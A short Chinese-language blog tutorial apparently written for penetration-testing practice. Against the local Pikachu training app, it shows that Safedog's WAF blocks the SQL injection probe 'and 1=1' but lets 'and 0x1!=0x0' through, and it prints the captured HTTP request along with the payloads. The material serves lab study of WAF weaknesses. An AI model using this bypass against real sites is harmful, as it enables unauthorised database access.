WAF绕过 -- and判断

Posted 2022-02-14 web安全工具库

一、环境

2、Pikachu靶机

3、安全狗最新版

二、BurpSuite2022抓包，点击获取下载地址

1、正常访问结果

2、抓取POST包，并修改，加入and 1=1，提示被拦截

POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1Host: localhostContent-Length: 21Cache-Control: max-age=0sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/97.0.4692.99 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/pikachu/vul/sqli/sqli_id.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=vm1gpr93kn5nat0e23qft4tsg7Connection: close
id=1 and 1=1&submit=1

3、将and 1=1修改为and 0x1!=0x1肯定不成立，返回不存在，再修改为and 0x1!=0x0，返回用户名，说明“十六进制+不等于”可以绕过该WAF。

禁止非法，后果自负

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